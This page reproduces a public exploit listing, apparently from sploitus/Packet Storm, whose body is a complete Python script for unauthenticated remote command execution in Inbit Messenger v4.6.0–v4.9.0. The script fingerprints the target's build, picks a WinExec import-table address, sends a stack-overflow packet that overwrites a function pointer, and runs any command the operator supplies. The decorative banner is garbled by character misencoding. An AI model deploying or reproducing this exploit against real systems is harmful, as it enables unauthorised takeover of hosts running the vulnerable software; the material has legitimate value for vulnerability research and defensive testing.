Share
## https://sploitus.com/exploit?id=PACKETSTORM:171582
# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)  
# Date: 11/08/2022  
# Exploit Author: a-rey   
# Vendor Homepage: http://www.inbit.com/support.html  
# Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html  
# Version: v4.6.0 - v4.9.0  
# Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019  
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md  
  
#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
  
import sys, socket, struct, string, argparse, logging  
  
BANNER = """\033[0m\033[1;35m  
โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—  
โ•‘\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35mโ•‘  
โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•\033[0m  
by: \033[1;36m โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—  
\033[1;36mโ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘  
\033[1;36mโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•โ•  
\033[1;36mโ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ• โ–ˆโ–ˆโ•”โ•   
\033[1;36mโ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘   
\033[1;36mโ•šโ•โ• โ•šโ•โ• โ•šโ•โ• โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ•   
\033[0m"""  
  
# NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build number  
TARGETS = {  
4601 : 0x005f3360,  
4801 : 0x005f7364,  
4901 : 0x005f7364,  
}  
  
# NOTE: min and max values for length of command  
CMD_MIN_LEN = 10  
CMD_MAX_LEN = 0xfc64  
  
# NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflow  
BAD_BYTES = b"\x3e" # >  
  
def getWinExecAddress(targetIp:str, targetPort:int) -> bytes:  
# NOTE: send packet with client build number of 4601 for v4.6.0  
pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00"  
logging.info(f"trying to get version information from {targetIp}:{targetPort} ...")  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((targetIp, targetPort))  
s.send(pkt)  
_d = s.recv(1024)  
# find build tag in response  
if b'<c>' not in _d:  
logging.error(f"invalid version packet received: {_d}")  
sys.exit(-1)  
s.close()  
try:  
build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')])  
except:  
logging.error(f"failed to parse build number from packet: {_d}")  
sys.exit(-1)  
# get the IAT offset   
if build not in TARGETS.keys():  
logging.error(f"unexpected build number: {build}")  
sys.exit(-1)  
# NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]'  
winexec = struct.pack("<I", TARGETS[build] - 0x38)  
logging.success(f"target build number is {build}")  
logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}")  
# sanity check for bad bytes in WinExec address  
for c in winexec:  
if c in BAD_BYTES:  
logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}")  
sys.exit(-1)  
return winexec  
  
def exploit(targetIp:str, targetPort:int, command:bytes) -> None:  
# NOTE: command must be NULL terminated  
command += b"\x00"  
# check user command length  
if len(command) < CMD_MIN_LEN:  
logging.error(f"command length must be at least {CMD_MIN_LEN} characters")  
sys.exit(-1)  
if len(command) >= CMD_MAX_LEN:  
logging.error(f"command length must be less than {CMD_MAX_LEN} characters")  
sys.exit(-1)  
# get WinExec address  
winexec = getWinExecAddress(targetIp, targetPort)  
# get a string representation of the length of the command data after the <> tag parsed by atol()  
pktLen = str(len(command))  
pkt = b"<" # start of XML tag/stack overflow  
pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character  
pkt += b"\x00" # NULL terminator to force atol to ignore what comes next  
# NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol()  
pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite  
pkt += winexec # indirect function pointer we control  
pkt += b">" # end of XML tag/stack overflow  
pkt += command # the command set to the call to WinExec()  
logging.info(f"sending payload to {targetIp}:{targetPort} ...")  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((targetIp, targetPort))  
s.send(pkt)  
s.close()  
logging.success("DONE")  
  
if __name__ == '__main__':  
# parse arguments  
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)  
parser.add_argument('-t', '--target', help='target IP', type=str, required=True)  
parser.add_argument('-c', '--command', help='command to run', type=str, required=True)  
parser.add_argument('-p', '--port', help='target port', type=int, required=False, default=10883)  
args = parser.parse_args()  
# define logger  
logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')  
logging.SUCCESS = logging.CRITICAL + 1  
logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')  
logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')  
logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')  
logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m')  
logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)  
# print banner  
print(BANNER)  
# run exploit  
exploit(args.target, args.port, args.command.encode())